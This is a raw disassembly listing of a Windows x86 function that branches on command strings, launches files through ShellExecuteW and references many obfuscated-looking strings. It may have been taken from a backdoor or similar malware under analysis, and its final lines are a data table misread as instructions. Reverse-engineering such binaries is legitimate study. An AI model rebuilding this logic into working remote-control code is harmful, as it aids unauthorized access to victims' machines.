call fcn.0055bf0a
add esp, 0xc
lea ecx, [ebp - 0xd0]
call fcn.0042ece0
jmp 0x52dc3f
sub esp, 0x18
mov ecx, esp
push 0x5c8a60
call fcn.0042e7e0
lea ecx, [ebp - 0x68]
call fcn.00446a30
add esp, 0x18
lea ecx, [ebp - 0xd0]
mov edx, eax
call fcn.0052e230
lea ecx, [ebp - 0x68]
mov byte [ebp - 0x41], al
call fcn.0042ece0
sub esp, 0x18
cmp byte [ebp - 0x41], 0
mov ecx, esp
je 0x52d091
push 0x5c8a00
call fcn.0042e7e0
lea ecx, [ebp - 0x68]
call fcn.00446a30
add esp, 0x18
mov ecx, eax
mov byte [ebp - 4], 0x86
call fcn.0042e560
push eax
lea ecx, [ebp - 0x38]
call fcn.0042d470
lea ecx, [ebp - 0x68]
mov byte [ebp - 4], 0x88
call fcn.0042ece0
push 0xa
push 0
push 0
push dword [ebp - 0x38]
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
ja 0x52d248
call dword [sym.imp.KERNEL32.dll_GetLastError]
push str.M2pRnbUMYiPglGmCSU
lea ecx, [ebp - 0x4c]
mov esi, eax
call fcn.00431340
push str.Q04yEUzER1UDotHEV0j9JiBtCNjE8DXSE
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0x89
call fcn.00431340
push str.NTV35aRNQuNAZRjUEpMOWUA
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 0x8a
call fcn.00431340
lea ecx, [ebp - 0x2c]
call fcn.004214c0
push esi
push ecx
lea eax, [ebp - 0x1c]
mov byte [ebp - 4], 0x8c
mov ecx, esp
push eax
call fcn.00430670
lea ecx, [ebp - 0x30]
call fcn.00447160
add esp, 4
mov byte [ebp - 4], 0x8d
push dword [eax]
lea eax, [ebp - 0x2c]
push eax
call fcn.00422bb0
add esp, 0xc
mov byte [ebp - 4], 0x8c
lea ecx, [ebp - 0x30]
call fcn.0042d550
push 0x597b10
lea ecx, [ebp - 0x48]
call fcn.00431340
push 0x597b10
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 0x8e
call fcn.00431340
push ecx
lea eax, [ebp - 0x34]
mov byte [ebp - 4], 0x8f
mov ecx, esp
push eax
call fcn.00430670
lea ecx, [ebp - 0x40]
call fcn.00447160
mov esi, eax
lea eax, [ebp - 0x4c]
mov byte [ebp - 4], 0x90
mov ecx, esp
push eax
call fcn.00430670
lea ecx, [ebp - 0x30]
call fcn.00447160
add esp, 4
mov byte [ebp - 4], 0x91
jmp 0x52d1f0
push 0x5c8a18
call fcn.0042e7e0
lea ecx, [ebp - 0x68]
call fcn.00446a30
add esp, 0x18
lea ecx, [ebp - 0xd0]
mov edx, eax
call fcn.0052e230
lea ecx, [ebp - 0x68]
mov byte [ebp - 0x41], al
call fcn.0042ece0
cmp byte [ebp - 0x41], 0
je 0x52d250
sub esp, 0x18
mov ecx, esp
push 0x5c8a18
call fcn.0042e7e0
lea ecx, [ebp - 0x68]
call fcn.00446a30
add esp, 0x18
mov ecx, eax
mov byte [ebp - 4], 0x92
call fcn.0042e560
push eax
lea ecx, [ebp - 0x38]
call fcn.0042d470
lea ecx, [ebp - 0x68]
mov byte [ebp - 4], 0x94
call fcn.0042ece0
push 0xa
push 0
push 0
push dword [ebp - 0x38]
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
ja 0x52d248
call dword [sym.imp.KERNEL32.dll_GetLastError]
push str.UkFznYiIzpHAYnKIgc
lea ecx, [ebp - 0x4c]
mov esi, eax
call fcn.00431340
push str.dTE3LNBZQkW1cqIVEVGAGkM
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0x95
call fcn.00431340
push str.QjZ53ZGRTnOgsmyU0RBfLkM
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 0x96
call fcn.00431340
lea ecx, [ebp - 0x2c]
call fcn.004214c0
push esi
push ecx
lea eax, [ebp - 0x1c]
mov byte [ebp - 4], 0x98
mov ecx, esp
push eax
call fcn.00430670
lea ecx, [ebp - 0x30]
call fcn.00447160
add esp, 4
mov byte [ebp - 4], 0x99
push dword [eax]
lea eax, [ebp - 0x2c]
push eax
call fcn.00422bb0
add esp, 0xc
mov byte [ebp - 4], 0x98
lea ecx, [ebp - 0x30]
call fcn.0042d550
push 0x597b10
lea ecx, [ebp - 0x48]
call fcn.00431340
push 0x597b10
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 0x9a
call fcn.00431340
push ecx
lea eax, [ebp - 0x34]
mov byte [ebp - 4], 0x9b
mov ecx, esp
push eax
call fcn.00430670
lea ecx, [ebp - 0x40]
call fcn.00447160
mov esi, eax
lea eax, [ebp - 0x4c]
mov byte [ebp - 4], 0x9c
mov ecx, esp
push eax
call fcn.00430670
lea ecx, [ebp - 0x30]
call fcn.00447160
add esp, 4
mov byte [ebp - 4], 0x9d
lea ecx, [ebp - 0x48]
mov edx, esi
push ecx
lea ecx, [ebp - 0x20]
push ecx
lea ecx, [ebp - 0x2c]
push ecx
mov ecx, eax
call fcn.0045c260
add esp, 0xc
lea ecx, [ebp - 0x30]
call fcn.0042d550
lea ecx, [ebp - 0x40]
call fcn.0042d550
lea ecx, [ebp - 0x20]
call fcn.0042d550
lea ecx, [ebp - 0x48]
call fcn.0042d550
lea ecx, [ebp - 0x2c]
call fcn.0042d550
lea ecx, [ebp - 0x1c]
call fcn.0042d550
lea ecx, [ebp - 0x34]
call fcn.0042d550
lea ecx, [ebp - 0x4c]
call fcn.0042d550
lea ecx, [ebp - 0x38]
call fcn.0042d550
lea ecx, [ebp - 0xd0]
call fcn.0042ece0
jmp 0x52dc3f
lea eax, [ebp - 0x50]
push eax
sub esp, 0x18
mov ecx, esp
push 0x5c8940
call fcn.0042e7e0
lea ecx, [ebp - 0x68]
call fcn.00446a30
add esp, 0x18
mov edx, eax
mov ecx, edi
call fcn.0044fa50
add esp, 4
lea ecx, [ebp - 0x68]
mov esi, eax
call fcn.0042ece0
test esi, esi
je 0x52d2f6
lea ecx, [ebp - 0x68]
call fcn.0042c9b0
mov ecx, edi
mov dword [ebp - 4], 0x9e
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x52d2b0
sub ecx, edx
lea eax, [ebp - 0x68]
mov edx, dword [ebp - 0x50]
push eax
lea eax, [ecx + edi]
push eax
lea edx, [edx + edi]
lea ecx, [ebp - 0x70]
call fcn.0052e1c0
add esp, 4
lea ecx, [ebp - 0x68]
call fcn.0052e260
add esp, 4
push eax
mov eax, dword [ebp - 0x38]
mov ecx, dword [eax + 0xc]
call fcn.00406240
lea ecx, [ebp - 0x68]
call fcn.0042ece0
jmp 0x52dc3f
lea eax, [ebp - 0x50]
push eax
sub esp, 0x18
mov ecx, esp
push 0x5c8970
call fcn.0042e7e0
lea ecx, [ebp - 0x68]
call fcn.00446a30
add esp, 0x18
mov edx, eax
mov ecx, edi
call fcn.0044fa50
add esp, 4
lea ecx, [ebp - 0x68]
mov esi, eax
call fcn.0042ece0
test esi, esi
je 0x52d39f
lea ecx, [ebp - 0x68]
call fcn.0042c9b0
mov ecx, edi
mov dword [ebp - 4], 0x9f
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x52d342
sub ecx, edx
lea eax, [ebp - 0x68]
mov edx, dword [ebp - 0x50]
push eax
lea eax, [ecx + edi]
push eax
lea edx, [edx + edi]
lea ecx, [ebp - 0x70]
call fcn.0052e1c0
lea eax, [ebp - 0x20]
mov dword [ebp - 0x48], 0xffffffff
push eax
lea edx, [ebp - 0x48]
mov dword [ebp - 0x20], 0xffffffff
lea ecx, [ebp - 0x68]
call fcn.0044d140
mov eax, dword [ebp - 0x38]
add esp, 0xc
push dword [ebp - 0x20]
mov ecx, dword [eax + 0xc]
push dword [ebp - 0x48]
call fcn.00406850
lea ecx, [ebp - 0x68]
call fcn.0042ece0
jmp 0x52dc3f
lea eax, [ebp - 0x50]
push eax
sub esp, 0x18
mov ecx, esp
push 0x5c8958
call fcn.0042e7e0
lea ecx, [ebp - 0x68]
call fcn.00446a30
add esp, 0x18
mov edx, eax
mov ecx, edi
call fcn.0044fa50
add esp, 4
lea ecx, [ebp - 0x68]
mov esi, eax
call fcn.0042ece0
test esi, esi
je 0x52d3e1
call fcn.0044f9e0
jmp 0x52dc3f
lea eax, [ebp - 0x50]
push eax
sub esp, 0x18
mov ecx, esp
push 0x5c89b8
call fcn.0042e7e0
lea ecx, [ebp - 0x68]
call fcn.00446a30
add esp, 0x18
mov edx, eax
mov ecx, edi
call fcn.0044fa50
add esp, 4
lea ecx, [ebp - 0x68]
mov esi, eax
call fcn.0042ece0
test esi, esi
je 0x52d711
lea ecx, [ebp - 0x68]
call fcn.0042c9b0
mov ecx, edi
mov dword [ebp - 4], 0xa0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x52d431
sub ecx, edx
lea eax, [ebp - 0x68]
mov edx, dword [ebp - 0x50]
push eax
lea eax, [ecx + edi]
lea edx, [edx + edi]
push eax
lea ecx, [ebp - 0x70]
call fcn.0052e1c0
add esp, 8
lea ecx, [ebp - 0x1c]
call fcn.004214c0
lea ecx, [ebp - 0x4c]
call fcn.004214c0
lea eax, [ebp - 0x4c]
mov byte [ebp - 4], 0xa2
push eax
lea edx, [ebp - 0x1c]
lea ecx, [ebp - 0x68]
call fcn.0044d350
add esp, 4
lea ecx, [ebp - 0x4c]
call fcn.0044fa00
mov dword [ebp - 0x28], eax
cmp eax, 0xffffffff
jne 0x52d584
push str.ZXpQvQhUIjPyYQNGSQ
lea ecx, [ebp - 0x24]
call fcn.00431340
push str.bTc41dghFrShkf
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0xa3
call fcn.00431340
push str.ZEhXjSAE6uJQUX4L2oBfCj42iJA0s7CA4NrJDIXLNCkjpIA
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 0xa4
call fcn.00431340
push 0x597b10
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 0xa5
call fcn.00431340
push 0x597b10
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 0xa6
call fcn.00431340
push ecx
lea eax, [ebp - 0x2c]
mov byte [ebp - 4], 0xa7
mov ecx, esp
push eax
call fcn.00430670
lea ecx, [ebp - 0x6c]
call fcn.00447160
mov edi, eax
lea eax, [ebp - 0x34]
mov byte [ebp - 4], 0xa8
mov ecx, esp
push eax
call fcn.00430670
lea ecx, [ebp - 0x3c]
call fcn.00447160
mov esi, eax
lea eax, [ebp - 0x24]
mov byte [ebp - 4], 0xa9
mov ecx, esp
push eax
call fcn.00430670
lea ecx, [ebp - 0x30]
call fcn.00447160
add esp, 4
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 0xaa
push ecx
lea ecx, [ebp - 0x20]
mov edx, esi
push ecx
push edi
mov ecx, eax
call fcn.0045c260
add esp, 0xc
lea ecx, [ebp - 0x30]
call fcn.0042d550
lea ecx, [ebp - 0x3c]
call fcn.0042d550
lea ecx, [ebp - 0x6c]
call fcn.0042d550
lea ecx, [ebp - 0x20]
call fcn.0042d550
lea ecx, [ebp - 0x48]
call fcn.0042d550
lea ecx, [ebp - 0x2c]
call fcn.0042d550
lea ecx, [ebp - 0x34]
call fcn.0042d550
lea ecx, [ebp - 0x24]
call fcn.0042d550
lea ecx, [ebp - 0x34]
call fcn.004214c0
push str.d3hS4VAxacMyQHWWmgvPVV0l8J1VCfKXYW5CCILtBAwzFIAILvcG4MKWjw10Gh1whblVd5JSdVgVHAnRAxkmkIQRa9aHZSsDyF2qCgUvMKQ
lea ecx, [ebp - 0x9c]
mov byte [ebp - 4], 0xab
call fcn.00430a50
push str.VkhFdZjgnSKwM
lea ecx, [ebp - 0xd0]
mov byte [ebp - 4], 0xac
call fcn.00430a50
push str.ZGpMdWA0ERPywFEBiA9sAA
lea ecx, [ebp - 0x100]
mov byte [ebp - 4], 0xad
call fcn.00430a50
sub esp, 0x18
mov byte [ebp - 4], 0xae
cmp dword [ebp - 0x28], 1
mov ecx, esp
jne 0x52d5f9
lea eax, [ebp - 0x100]
push eax
call fcn.004306a0
lea ecx, [ebp - 0x6c]
call fcn.00446d80
add esp, 0x18
mov byte [ebp - 4], 0xaf
mov ecx, 1
jmp 0x52d61c
lea eax, [ebp - 0xd0]
push eax
call fcn.004306a0
lea ecx, [ebp - 0x28]
call fcn.00446d80
add esp, 0x18
mov dword [ebp - 4], 0xb0
mov ecx, 2
push dword [eax]
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x2c], ecx
lea ecx, [ebp - 0x118]
call fcn.00430a50
mov dword [ebp - 4], 0xb1
mov eax, dword [ebp - 0x2c]
test al, 2
je 0x52d64e
and eax, 0xfffffffd
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x2c], eax
call fcn.0042d550
mov eax, dword [ebp - 0x2c]
mov byte [ebp - 4], 0xb3
test al, 1
je 0x52d65e
lea ecx, [ebp - 0x6c]
call fcn.0042d550
lea ecx, [ebp - 0x118]
call fcn.0042d9a0
mov esi, eax
sub esp, 0x18
mov eax, dword [ebp - 0x38]
mov ecx, esp
mov edi, dword [eax]
lea eax, [ebp - 0x9c]
push eax
call fcn.004306a0
lea ecx, [ebp - 0x3c]
call fcn.00446d80
push esi
mov byte [ebp - 4], 0xb4
push dword [ebp - 0x1c]
push edi
push dword [eax]
lea eax, [ebp - 0x34]
push eax
call fcn.00422bb0
add esp, 0x2c
mov byte [ebp - 4], 0xb3
lea ecx, [ebp - 0x3c]
call fcn.0042d550
push ecx
lea eax, [ebp - 0x34]
mov ecx, esp
push eax
call fcn.00430670
mov ecx, dword [ebp - 0x38]
call fcn.00528ed0
lea ecx, [ebp - 0x118]
call fcn.00430800
lea ecx, [ebp - 0x100]
call fcn.00430800
lea ecx, [ebp - 0xd0]
call fcn.00430800
lea ecx, [ebp - 0x9c]
call fcn.00430800
lea ecx, [ebp - 0x34]
call fcn.0042d550
lea ecx, [ebp - 0x4c]
call fcn.0042d550
lea ecx, [ebp - 0x1c]
call fcn.0042d550
lea ecx, [ebp - 0x68]
call fcn.0042ece0
jmp 0x52dc3f
lea eax, [ebp - 0x50]
push eax
sub esp, 0x18
mov ecx, esp
push 0x5c8aa8
call fcn.0042e7e0
lea ecx, [ebp - 0x68]
call fcn.00446a30
add esp, 0x18
mov edx, eax
mov ecx, edi
call fcn.0044fa50
add esp, 4
lea ecx, [ebp - 0x68]
mov esi, eax
call fcn.0042ece0
test esi, esi
je 0x52d7da
lea ecx, [ebp - 0x68]
call fcn.0042c9b0
mov ecx, edi
mov dword [ebp - 4], 0xb5
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x52d761
sub ecx, edx
lea eax, [ebp - 0x68]
mov edx, dword [ebp - 0x50]
push eax
lea eax, [ecx + edi]
push eax
lea edx, [edx + edi]
lea ecx, [ebp - 0x70]
call fcn.0052e1c0
add esp, 8
lea ecx, [ebp - 0x68]
push 0x597b10
call fcn.0042e5c0
lea eax, [ebp - 0x40]
mov dword [ebp - 0x24], 1
push eax
lea eax, [ebp - 0x24]
mov dword [ebp - 0x40], 2
push eax
lea eax, [ebp - 0x70]
push eax
lea edx, [ebp - 0xb8]
lea ecx, [ebp - 0x68]
call fcn.0044d760
mov eax, dword [ebp - 0x40]
add esp, 0xc
or eax, dword [ebp - 0x24]
push eax
mov eax, dword [ebp - 0x38]
mov ecx, dword [eax + 0xc]
call fcn.00414f70
lea ecx, [ebp - 0x68]
call fcn.0042ece0
jmp 0x52dc3f
lea eax, [ebp - 0x50]
push eax
sub esp, 0x18
mov ecx, esp
push 0x5c89d0
call fcn.0042e7e0
lea ecx, [ebp - 0x68]
call fcn.00446a30
add esp, 0x18
mov edx, eax
mov ecx, edi
call fcn.0044fa50
add esp, 4
lea ecx, [ebp - 0x68]
mov esi, eax
call fcn.0042ece0
test esi, esi
je 0x52d860
lea ecx, [ebp - 0x68]
call fcn.0042c9b0
mov ecx, edi
mov dword [ebp - 4], 0xb6
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x52d826
sub ecx, edx
lea eax, [ebp - 0x68]
mov edx, dword [ebp - 0x50]
push eax
lea eax, [ecx + edi]
push eax
lea edx, [edx + edi]
lea ecx, [ebp - 0x70]
call fcn.0052e1c0
add esp, 4
lea ecx, [ebp - 0x68]
call fcn.0052e260
add esp, 4
lea ecx, [ebp - 0x68]
call fcn.0042ece0
jmp 0x52dc3f
lea eax, [ebp - 0x50]
push eax
sub esp, 0x18
mov ecx, esp
push 0x5c89e8
call fcn.0042e7e0
lea ecx, [ebp - 0x68]
call fcn.00446a30
add esp, 0x18
mov edx, eax
mov ecx, edi
call fcn.0044fa50
add esp, 4
lea ecx, [ebp - 0x68]
mov esi, eax
call fcn.0042ece0
test esi, esi
je 0x52dafb
lea ecx, [ebp - 0x68]
call fcn.0042c9b0
mov ecx, edi
mov dword [ebp - 4], 0xb7
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x52d8b0
sub ecx, edx
lea eax, [ebp - 0x68]
mov edx, dword [ebp - 0x50]
push eax
lea eax, [ecx + edi]
lea edx, [edx + edi]
push eax
lea ecx, [ebp - 0x70]
call fcn.0052e1c0
sub esp, 0x20
mov byte [ebp - 4], 0xb8
mov eax, esp
lea edx, [ebp - 0x68]
lea ecx, [ebp - 0xe0]
push 0
push 1
mov dword [eax + 0x24], 0
call fcn.00450de0
add esp, 0x30
push 0x5a7230
lea ecx, [ebp - 0x118]
mov byte [ebp - 4], 0xb9
call fcn.0042eca0
lea eax, [ebp - 0x118]
mov byte [ebp - 4], 0xba
push eax
lea ecx, [ebp - 0xe0]
call fcn.0052dee0
lea edx, [ebp - 0x6c]
mov ecx, eax
call fcn.0043cb60
lea ecx, [ebp - 0x118]
mov byte [ebp - 4], 0xb9
call fcn.0042ece0
push 0x5af168
lea ecx, [ebp - 0x118]
call fcn.0042eca0
lea eax, [ebp - 0x118]
mov byte [ebp - 4], 0xbb
push eax
lea ecx, [ebp - 0xe0]
call fcn.0052dee0
lea edx, [ebp - 0x28]
mov ecx, eax
call fcn.0043cb60
lea ecx, [ebp - 0x118]
mov byte [ebp - 4], 0xb9
call fcn.0042ece0
mov esi, dword [ebp - 0x28]
lea ecx, [ebp - 0x40]
movzx eax, word [ebp - 0x6c]
shl esi, 0x10
push 0x5af16c
or esi, eax
call fcn.00431340
push ecx
mov byte [ebp - 4], 0xbc
mov edi, esp
mov dword [ebp - 0x70], esp
push ecx
mov ecx, esp
push 0x5cd488
call fcn.00430670
mov ecx, edi
call fcn.00447160
add esp, 4
push ecx
mov edi, esp
mov byte [ebp - 4], 0xbd
push ecx
lea eax, [ebp - 0x40]
mov ecx, esp
push eax
call fcn.00430670
mov ecx, edi
call fcn.00447160
add esp, 4
mov byte [ebp - 4], 0xbc
mov edx, SysReAllocString
mov ecx, esi
call fcn.0044a9f0
add esp, 8
lea ecx, [ebp - 0x40]
call fcn.0042d550
lea ecx, [ebp - 0xe0]
call fcn.0042c730
lea ecx, [ebp - 0x68]
call fcn.0042ece0
jmp 0x52dc3f
push edi
lea ecx, [ebp - 0x4c]
call fcn.0042d470
push str.N2pQ3ZEIEHOwpYrHT47nQgMPfCVIZzIwVQwDw
lea ecx, [ebp - 0x2c]
mov dword [ebp - 4], 0xc6
call fcn.00431340
push str.MHVXcWF0GtMGUV4AiQ
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 0xc7
call fcn.00431340
lea ecx, [ebp - 0x1c]
call fcn.004214c0
sub esp, 0x18
mov byte [ebp - 4], 0xc9
mov ecx, esp
push dword [ebp - 0x4c]
call fcn.00430a50
lea ecx, [ebp - 0x6c]
call fcn.00432020
add esp, 0x14
mov byte [ebp - 4], 0xca
mov esi, dword [eax]
mov ecx, esp
lea eax, [ebp - 0x48]
push eax
call fcn.00430670
lea ecx, [ebp - 0x28]
call fcn.00447160
add esp, 4
push esi
mov byte [ebp - 4], 0xcb
push dword [eax]
lea eax, [ebp - 0x1c]
push eax
call fcn.00422bb0
add esp, 0xc
lea ecx, [ebp - 0x28]
call fcn.0042d550
lea ecx, [ebp - 0x6c]
mov byte [ebp - 4], 0xc9
call fcn.0042d550
push 0x597b10
lea ecx, [ebp - 0x20]
call fcn.00431340
push 0x597b10
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 0xcc
call fcn.00431340
push ecx
lea eax, [ebp - 0x2c]
mov byte [ebp - 4], 0xcd
mov ecx, esp
push eax
call fcn.00430670
lea ecx, [ebp - 0x6c]
call fcn.00447160
mov esi, eax
sub esp, 0x14
mov byte [ebp - 4], 0xce
mov ecx, esp
push 0x5cd428
call fcn.004306a0
lea ecx, [ebp - 0x28]
call fcn.00446d80
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 0xcf
push ecx
lea ecx, [ebp - 0x24]
push ecx
lea ecx, [ebp - 0x1c]
push ecx
mov edx, esi
mov ecx, eax
call fcn.0045c260
add esp, 0x24
lea ecx, [ebp - 0x28]
call fcn.0042d550
lea ecx, [ebp - 0x6c]
call fcn.0042d550
lea ecx, [ebp - 0x24]
call fcn.0042d550
lea ecx, [ebp - 0x20]
call fcn.0042d550
lea ecx, [ebp - 0x1c]
call fcn.0042d550
lea ecx, [ebp - 0x48]
call fcn.0042d550
lea ecx, [ebp - 0x2c]
call fcn.0042d550
lea ecx, [ebp - 0x4c]
call fcn.0042d550
mov ecx, dword [ebp - 0xc]
xor eax, eax
pop edi
mov dword fs:[0], ecx
pop esi
pop ebx
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret 4
call fcn.00555bff
call fcn.00555bff
call fcn.00555bff
call fcn.00555bff
call fcn.00555bff
call fcn.00555bff
call fcn.00555bff
call fcn.00555bff
call fcn.00555bff
call fcn.00555bff
call fcn.00555bff
call fcn.00555bff
call fcn.00555bff
call fcn.00555bff
call fcn.00555bff
call fcn.00555bff
call fcn.00555bff
call fcn.00555bff
call fcn.00555bff
push str.invalid_stoi_argument
call fcn.0053a6f8
push str.stoi_argument_out_of_range
call fcn.0053a738
call fcn.00555bff
call fcn.00555bff
call fcn.00555bff
call fcn.00555bff
push 0x80004005
call fcn.00431210
push 0x80004005
call fcn.00431210
push 0x80004005
call fcn.00431210
push 0x80004005
call fcn.00431210
push 0x80004005
call fcn.00431210
push 0x80004005
call fcn.00431210
call fcn.00555bff
call fcn.00555bff
push 0x80004005
call fcn.00431210
push 0x80004005
call fcn.00431210
push 0x80004005
call fcn.00431210
push 0x80004005
call fcn.00431210
push 0x80004005
call fcn.00431210
push str.invalid_map_K__T__key
call fcn.0053a738
push 0x80004005
call fcn.00431210
push 0x80004005
call fcn.00431210
push 0x80004005
call fcn.00431210
push 0x80004005
call fcn.00431210
push 0x80004005
call fcn.00431210
push 0x80004005
call fcn.00431210
push 0x80004005
call fcn.00431210
nop
push cs
leave
push edx
add byte [eax + ecx*8 - 0x36dfffae], ah
push edx
add dl, bh
enter 0x52, 0x3c
leave
push edx
add byte [eax], al
add al, 4
add al, 1
add al, 4
add al, 4
add al, 4
add al, 2
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 3
int3